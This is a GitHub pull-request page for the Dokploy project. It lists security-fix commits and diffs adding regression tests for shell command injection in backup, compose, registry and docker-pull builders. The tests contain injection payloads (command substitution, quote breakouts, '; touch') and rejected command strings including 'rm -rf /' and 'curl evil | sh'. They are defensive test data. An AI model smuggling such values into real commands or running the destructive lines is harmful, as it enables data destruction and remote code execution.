Skip to content
Merged
Show file tree
Hide file tree
Changes from all commits
Commits
Show all changes
82 commits
Select commit Hold shift + click to select a range
12d3f18
fix(ui): typos
EvanSchleret Jul 12, 2026
f577778
fix: validate API key name length to prevent opaque 500
tanaymishra Jul 12, 2026
7ba9818
Merge pull request #4806 from tanaymishra/fix/validate-api-key-name-l…
Siumauricio Jul 14, 2026
bc22d05
fix(compose): preserve named-volume access mode when adding suffix
Siumauricio Jul 14, 2026
4631ede
Merge pull request #4823 from Dokploy/fix/compose-volume-suffix-acces…
Siumauricio Jul 14, 2026
d5dd35c
fix(settings): allow clearing the server domain
Siumauricio Jul 14, 2026
de62aff
fix(ui): disambiguate repos with the same name in the repository sele…
Siumauricio Jul 14, 2026
c4596ff
refactor(ui): improve repository and branch display in popovers
Siumauricio Jul 14, 2026
9626c16
Merge pull request #4826 from Dokploy/fix/repo-selector-duplicate-names
Siumauricio Jul 14, 2026
bddc0c3
Merge pull request #4825 from Dokploy/fix/allow-clearing-server-domain
Siumauricio Jul 14, 2026
df3965a
Merge pull request #4800 from EvanSchleret/fix/typo
Siumauricio Jul 15, 2026
15fe3b2
fix: rename compose "Reload" action to "Rebuild"
ANSUJKMEHER Jul 18, 2026
7481107
Remove unused localization files for various languages in the Dokploy…
Siumauricio Jul 20, 2026
47347ab
fix(security): escape user input in git clone commands across all pro…
Siumauricio Jul 20, 2026
fb7f5bd
[autofix.ci] apply automated fixes
autofix-ci[bot] Jul 20, 2026
cf35eae
test(security): regression tests for git clone command injection esca…
Siumauricio Jul 20, 2026
97cd7d1
test(security): fix type error in shell-quote op assertion
Siumauricio Jul 20, 2026
57ecfa8
Merge pull request #4855 from Dokploy/fix/cmdi-git-clone-providers
Siumauricio Jul 20, 2026
071d9ea
fix(security): enforce org-scope on git provider read endpoints
Siumauricio Jul 20, 2026
26cae3b
fix(types): guard git-provider access check for optional id in getBra…
Siumauricio Jul 20, 2026
e88c6b6
Merge pull request #4856 from Dokploy/fix/idor-git-provider-secret-di…
Siumauricio Jul 20, 2026
439eee4
fix(security): redact SSH private key from server read responses
Siumauricio Jul 20, 2026
117cfa1
test(types): annotate server record without sshKey relation in redact…
Siumauricio Jul 20, 2026
5563699
fix(security): enforce org-scope on swarm reads and escape nodeId
Siumauricio Jul 20, 2026
c2c0e9c
Merge pull request #4857 from Dokploy/fix/idor-server-ssh-key-disclosure
Siumauricio Jul 20, 2026
182d365
refactor: inline the server org-scope check in each swarm handler
Siumauricio Jul 20, 2026
68ea9f7
fix(security): redact git provider secrets from application.one response
Siumauricio Jul 20, 2026
77384b2
[autofix.ci] apply automated fixes
autofix-ci[bot] Jul 20, 2026
65fe737
Merge pull request #4858 from Dokploy/fix/idor-swarm-cross-org
Siumauricio Jul 20, 2026
c0afc48
docs: trim block comment on redactApplicationGitSecrets
Siumauricio Jul 20, 2026
ecbaf60
refactor(security): exclude git provider secrets at query level in fi…
Siumauricio Jul 20, 2026
1c31ed9
Merge pull request #4859 from Dokploy/fix/idor-application-one-secret…
Siumauricio Jul 20, 2026
cba0b25
fix(security): escape user input in docker build/pull commands
Siumauricio Jul 20, 2026
0348f5f
Merge pull request #4860 from Dokploy/fix/cmdi-docker-build-pull
Siumauricio Jul 20, 2026
b24202e
fix(security): escape dockerImage in database service remote docker pull
Siumauricio Jul 20, 2026
89effbe
Merge pull request #4861 from Dokploy/fix/cmdi-db-service-dockerimage
Siumauricio Jul 20, 2026
ccd2e83
fix(security): pass db backup/restore identifiers via env vars to avo…
Siumauricio Jul 20, 2026
8539a5c
Merge pull request #4862 from Dokploy/fix/cmdi-db-backup-restore
Siumauricio Jul 20, 2026
d48037a
fix(security): escape compose path and validate custom compose command
Siumauricio Jul 20, 2026
fbd84b9
[autofix.ci] apply automated fixes
autofix-ci[bot] Jul 20, 2026
95a3556
Merge pull request #4863 from Dokploy/fix/cmdi-compose-path-command
Siumauricio Jul 20, 2026
df2779e
fix(security): escape swarm nodeId and registry tag in cluster commands
Siumauricio Jul 20, 2026
637715a
Merge pull request #4864 from Dokploy/fix/cmdi-registry-swarm-node
Siumauricio Jul 20, 2026
68f5afa
fix(security): authorize docker/terminal WebSocket handlers
Siumauricio Jul 20, 2026
479d851
feat(security): enforce service-level access on docker WebSocket hand…
Siumauricio Jul 20, 2026
56169f3
Revert "feat(security): enforce service-level access on docker WebSoc…
Siumauricio Jul 20, 2026
1bc76e9
Reapply "feat(security): enforce service-level access on docker WebSo…
Siumauricio Jul 20, 2026
1e354a3
fix(security): check service access before server in wss authz, and p…
Siumauricio Jul 20, 2026
1a3c76d
[autofix.ci] apply automated fixes
autofix-ci[bot] Jul 20, 2026
eb1f11b
fix(security): service access is authoritative for service-scoped wss…
Siumauricio Jul 20, 2026
6cbc7a0
[autofix.ci] apply automated fixes
autofix-ci[bot] Jul 20, 2026
79c9cf9
fix(security): pass serviceId from the remaining terminal entry points
Siumauricio Jul 20, 2026
393fb92
Merge pull request #4865 from Dokploy/fix/authz-websocket-handlers
Siumauricio Jul 20, 2026
1e3f10b
fix(security): enforce owner/admin gate on host schedules regardless …
Siumauricio Jul 20, 2026
8fe3294
fix(schedule): give scheduleType a clean enum type for the host-acces…
Siumauricio Jul 20, 2026
f339805
[autofix.ci] apply automated fixes
autofix-ci[bot] Jul 20, 2026
5ae344d
fix(security): authenticate and authorize the GitHub App setup callback
Siumauricio Jul 20, 2026
ffb8d43
Merge pull request #4869 from Dokploy/fix/schedule-host-authz-bypass
Siumauricio Jul 20, 2026
0514363
chore: drop explanatory comments in github setup handler
Siumauricio Jul 20, 2026
8c2e91a
Merge pull request #4870 from Dokploy/fix/github-setup-callback-authz
Siumauricio Jul 20, 2026
ce4be79
refactor(providers): inline quote() in git clone commands, drop shell…
Siumauricio Jul 20, 2026
9b078e0
Merge pull request #4871 from Dokploy/refactor/inline-quote-git-provi…
Siumauricio Jul 20, 2026
eeb6e7b
fix(security): escape S3/rclone args and restore paths to prevent com…
Siumauricio Jul 20, 2026
d629fae
fix(security): validate volumeName and escape volume-backup file names
Siumauricio Jul 20, 2026
16b5b72
fix(security): escape file paths and remote schedule command in shell…
Siumauricio Jul 20, 2026
92310dd
fix(security): base64-encode remote traefik YAML and escape config paths
Siumauricio Jul 20, 2026
d02f34f
Merge pull request #4873 from Dokploy/fix/cmdi-quote-sweep
Siumauricio Jul 20, 2026
4aee66b
fix(security): enforce organization ownership on server.remove
Siumauricio Jul 20, 2026
d3f522b
fix(security): command injection in registry.testRegistry/testRegistr…
Siumauricio Jul 20, 2026
ffe62bc
Merge pull request #4875 from Dokploy/fix/cmdi-registry-test-login
Siumauricio Jul 20, 2026
b2ade17
Merge pull request #4874 from Dokploy/fix/idor-server-remove
Siumauricio Jul 20, 2026
3b102fa
fix(ui): organization menu clipped when sidebar is collapsed
Siumauricio Jul 21, 2026
cbec72e
Merge pull request #4876 from Dokploy/fix/collapsed-sidebar-org-menu-…
Siumauricio Jul 21, 2026
6d65a36
fix(2fa): show correct error for invalid TOTP code
Siumauricio Jul 21, 2026
52c7db1
Merge pull request #4877 from Dokploy/fix/2fa-invalid-code-error-message
Siumauricio Jul 21, 2026
25370ca
Merge pull request #4847 from ANSUJKMEHER/fix-4666-action-terminology
Siumauricio Jul 21, 2026
e9b5166
fix(auth): enable email verification for SSO and user creation
Siumauricio Jul 21, 2026
8def9e9
Merge pull request #4880 from Dokploy/fix/sso-initial-credentials-lin…
Siumauricio Jul 21, 2026
7ba3853
feat(ai): allow organizations to define custom AI provider presets
Siumauricio Jul 21, 2026
cb2db0d
Bump version from v0.29.12 to v0.29.13
Siumauricio Jul 21, 2026
366e44b
fix(ai): only show Custom Presets button to owner/admin roles
Siumauricio Jul 21, 2026
8b868c6
Merge pull request #4882 from Dokploy/feat/custom-ai-providers
Siumauricio Jul 21, 2026
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
26 changes: 26 additions & 0 deletions apps/dokploy/__test__/api/api-key-name.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
import { describe, expect, it } from "vitest";
import { API_KEY_NAME_MAX_LENGTH, apiKeyNameSchema } from "@/lib/api-keys";

describe("apiKeyNameSchema", () => {
it("rejects an empty name", () => {
const result = apiKeyNameSchema.safeParse("");
expect(result.success).toBe(false);
});

it("accepts a name at the maximum length", () => {
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH);
const result = apiKeyNameSchema.safeParse(name);
expect(result.success).toBe(true);
});

it("rejects a name over the maximum length instead of passing it to better-auth", () => {
const name = "a".repeat(API_KEY_NAME_MAX_LENGTH + 1);
const result = apiKeyNameSchema.safeParse(name);
expect(result.success).toBe(false);
if (!result.success) {
expect(result.error.issues[0]?.message).toBe(
`Name must be at most ${API_KEY_NAME_MAX_LENGTH} characters`,
);
}
});
});
106 changes: 106 additions & 0 deletions apps/dokploy/__test__/backups/db-backup-restore-injection.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,106 @@
import { execSync } from "node:child_process";
import { chmodSync, existsSync, rmSync, writeFileSync } from "node:fs";
import {
getLibsqlBackupCommand,
getMariadbBackupCommand,
getMongoBackupCommand,
getMysqlBackupCommand,
getPostgresBackupCommand,
} from "@dokploy/server/utils/backups/utils";
import {
getMariadbRestoreCommand,
getMongoRestoreCommand,
getMysqlRestoreCommand,
getPostgresRestoreCommand,
} from "@dokploy/server/utils/restore/utils";
import { afterAll, beforeAll, describe, expect, it } from "vitest";

// A stub replacing the real `docker` binary. It ignores exec/-i/$CONTAINER_ID,
// exports the -e VAR=val pairs, and runs the inner `sh -c <script>` β€” so the
// test exercises BOTH shell layers (outer /bin/sh building the docker command,
// and the inner shell) the way production does, without needing a container.
const stub = `/tmp/docker_stub_${process.pid}`;
const MARK = `/tmp/dokploy_dbbk_pwned_${process.pid}`;

beforeAll(() => {
writeFileSync(
stub,
`#!/bin/bash
shift # exec
envs=()
while [ "$1" = "-e" ]; do envs+=("$2"); shift 2; done
shift 2 # -i CONTAINER
shell="$1"; shift # bash|sh
shift # -c
env "\${envs[@]}" "$shell" -c "$1" </dev/null 2>/dev/null || true
`,
);
chmodSync(stub, 0o755);
});

afterAll(() => {
if (existsSync(stub)) rmSync(stub);
if (existsSync(MARK)) rmSync(MARK);
});

// Run a builder-produced command with `docker` pointed at the stub; return true
// if no injected command fired.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
const withStub = command.replace(/^docker /, `${stub} `);
try {
execSync(withStub, {
shell: "/bin/bash",
stdio: "ignore",
env: { ...process.env, CONTAINER_ID: "test" },
});
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};

// Payloads that try to break out of every quoting style used in the builders.
const p = (mark: string) => [
`$(touch ${mark})`,
"`touch " + mark + "`",
`x'; touch ${mark}; '`,
`x"; touch ${mark}; echo "`,
`x; touch ${mark}`,
];

describe("database backup/restore command injection", () => {
const cases: Array<[string, (v: string) => string]> = [
["postgres backup (database)", (v) => getPostgresBackupCommand(v, "u")],
["postgres backup (user)", (v) => getPostgresBackupCommand("db", v)],
["mariadb backup (password)", (v) => getMariadbBackupCommand("db", "u", v)],
["mysql backup (database)", (v) => getMysqlBackupCommand(v, "pw")],
["mongo backup (user)", (v) => getMongoBackupCommand("db", v, "pw")],
["libsql backup (database)", (v) => getLibsqlBackupCommand(v)],
["postgres restore (database)", (v) => getPostgresRestoreCommand(v, "u")],
[
"mariadb restore (password)",
(v) => getMariadbRestoreCommand("db", "u", v),
],
["mysql restore (database)", (v) => getMysqlRestoreCommand(v, "pw")],
["mongo restore (user)", (v) => getMongoRestoreCommand("db", v, "pw")],
];

for (const [label, build] of cases) {
it(`${label} is not injectable`, () => {
for (const payload of p(MARK)) {
expect(runsSafely(build(payload))).toBe(true);
}
});
}

it("preserves a legitimate database name (passed through as env var)", () => {
const cmd = getPostgresBackupCommand("my-db_prod", "app_user");
// Values live in -e assignments, never inline in the pg_dump text.
expect(cmd).toContain("-e DB_NAME=my-db_prod");
expect(cmd).toContain("-e DB_USER=app_user");
expect(cmd).toContain(
'pg_dump -Fc --no-acl --no-owner -h localhost -U "$DB_USER"',
);
});
});
70 changes: 70 additions & 0 deletions apps/dokploy/__test__/cluster/registry-node-injection.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,70 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { getRegistryTag } from "@dokploy/server/utils/cluster/upload";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";

const MARK = `/tmp/dokploy_regnode_pwned_${process.pid}`;

const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};

const PAYLOADS = (m: string) => [
`$(touch ${m})`,
"`touch " + m + "`",
`x; touch ${m}`,
`x | touch ${m}`,
];

describe("cluster removeWorker nodeId injection", () => {
// docker node update/rm ${quote([nodeId])} β€” replace `docker node` with `:`.
it("escapes nodeId in drain/remove commands", () => {
for (const nodeId of PAYLOADS(MARK)) {
const drain = `: node update --availability drain ${quote([nodeId])}`;
const remove = `: node rm ${quote([nodeId])} --force`;
expect(runsSafely(drain)).toBe(true);
expect(runsSafely(remove)).toBe(true);
}
});
});

describe("swarm upload registry tag/push injection", () => {
// registryTag is built from registryUrl/username/imagePrefix (username and
// imagePrefix have no schema regex). Assert docker tag/push stay safe.
it("escapes a malicious imagePrefix flowing into the registry tag", () => {
for (const payload of PAYLOADS(MARK)) {
const registryTag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: payload,
username: "user",
} as any,
"app:latest",
);
const tagCmd = `: tag ${quote(["app:latest"])} ${quote([registryTag])}`;
const pushCmd = `: push ${quote([registryTag])}`;
expect(runsSafely(tagCmd)).toBe(true);
expect(runsSafely(pushCmd)).toBe(true);
}
});

it("keeps a legitimate registry tag intact", () => {
const tag = getRegistryTag(
{
registryUrl: "registry.example.com",
imagePrefix: "team",
username: "user",
} as any,
"myapp:1.2.3",
);
expect(tag).toBe("registry.example.com/team/myapp:1.2.3");
expect(parse(quote([tag]))).toEqual([tag]);
});
});
104 changes: 104 additions & 0 deletions apps/dokploy/__test__/compose/compose-command-injection.test.ts
Original file line number Diff line number Diff line change
@@ -0,0 +1,104 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { createCommand } from "@dokploy/server/utils/builders/compose";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";

const MARK = `/tmp/dokploy_compose_pwned_${process.pid}`;

const base = {
composeType: "docker-compose" as const,
appName: "compose-app",
sourceType: "raw" as const,
command: "",
composePath: "docker-compose.yml",
};

// createCommand output is interpolated as `docker ${command}` at the deploy
// sink; run `: ${command}` (docker -> no-op) and assert no injection fires.
const runsSafely = (command: string) => {
if (existsSync(MARK)) rmSync(MARK);
try {
execSync(`: ${command}`, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
const fired = existsSync(MARK);
if (existsSync(MARK)) rmSync(MARK);
return !fired;
};

const PAYLOADS = [
`$(touch ${MARK})`,
"`touch " + MARK + "`",
`x; touch ${MARK}`,
`x | touch ${MARK}`,
];

describe("compose createCommand injection", () => {
it("escapes composePath (docker-compose)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});

it("escapes composePath (stack deploy)", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
composeType: "stack",
sourceType: "github",
composePath: p,
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});

it("escapes appName", () => {
for (const p of PAYLOADS) {
const cmd = createCommand({
...base,
sourceType: "github",
appName: p,
composePath: "docker-compose.yml",
} as any);
expect(runsSafely(cmd)).toBe(true);
}
});

it("rejects a custom command containing shell control characters", () => {
for (const bad of [
"up -d; rm -rf /",
"up && curl evil | sh",
"up $(touch x)",
"up `id`",
]) {
expect(() => createCommand({ ...base, command: bad } as any)).toThrow(
/Invalid characters/,
);
}
});

it("allows a legitimate custom command", () => {
const cmd = createCommand({
...base,
command: "compose -f docker-compose.yml -p app up -d --build",
} as any);
expect(cmd).toBe("compose -f docker-compose.yml -p app up -d --build");
});

it("keeps a legitimate composePath intact", () => {
const cmd = createCommand({
...base,
sourceType: "github",
composePath: "deploy/docker-compose.prod.yml",
} as any);
expect(parse(cmd)).toContain("deploy/docker-compose.prod.yml");
expect(quote(["deploy/docker-compose.prod.yml"])).toBe(
"deploy/docker-compose.prod.yml",
);
});
});
33 changes: 33 additions & 0 deletions apps/dokploy/__test__/compose/volume/volume-services.test.ts
Original file line number Diff line number Diff line change
Expand Up @@ -42,6 +42,39 @@ test("Add suffix to volumes declared directly in services", () => {
);
});

const composeFileAccessMode = `
version: "3.8"

services:
web:
image: nginx:alpine
volumes:
- web_config:/etc/nginx/conf.d:ro
- certs/sub:/etc/certs:Z
`;

test("Add suffix to volumes preserves access mode (:ro, :z, :Z)", () => {
const composeData = parse(composeFileAccessMode) as ComposeSpecification;

const suffix = generateRandomHash();

if (!composeData.services) {
return;
}

const updatedComposeData = addSuffixToVolumesInServices(
composeData.services,
suffix,
);

expect(updatedComposeData.web?.volumes).toContain(
`web_config-${suffix}:/etc/nginx/conf.d:ro`,
);
expect(updatedComposeData.web?.volumes).toContain(
`certs-${suffix}/sub:/etc/certs:Z`,
);
});

const composeFileTypeVolume = `
version: "3.8"

Expand Down
Original file line number Diff line number Diff line change
@@ -0,0 +1,41 @@
import { execSync } from "node:child_process";
import { existsSync, rmSync } from "node:fs";
import { parse, quote } from "shell-quote";
import { describe, expect, it } from "vitest";

// The six database deploy functions (postgres/mysql/mariadb/mongo/redis/libsql)
// build `docker pull ${quote([dockerImage])}` for the remote (execAsyncRemote)
// path. `docker` is replaced by `:` so only the injection surface is exercised.
const MARK = `/tmp/dokploy_dbimg_pwned_${process.pid}`;

const PAYLOADS = [
"$(touch %MARK%)",
"`touch %MARK%`",
"redis:7; touch %MARK%",
"redis:7 && touch %MARK%",
"redis:7 | touch %MARK%",
];

describe("database service dockerImage command injection", () => {
it("does not execute injected commands from dockerImage", () => {
for (const template of PAYLOADS) {
if (existsSync(MARK)) rmSync(MARK);
const dockerImage = template.replace("%MARK%", MARK);
const command = `: pull ${quote([dockerImage])}`;
try {
execSync(command, { shell: "/bin/sh", stdio: "ignore" });
} catch {}
expect(existsSync(MARK)).toBe(false);
}
if (existsSync(MARK)) rmSync(MARK);
});

it("keeps a legitimate image tag intact", () => {
expect(parse(quote(["postgres:16.4-alpine"]))).toEqual([
"postgres:16.4-alpine",
]);
expect(parse(quote(["ghcr.io/org/db:latest"]))).toEqual([
"ghcr.io/org/db:latest",
]);
});
});
Loading
Loading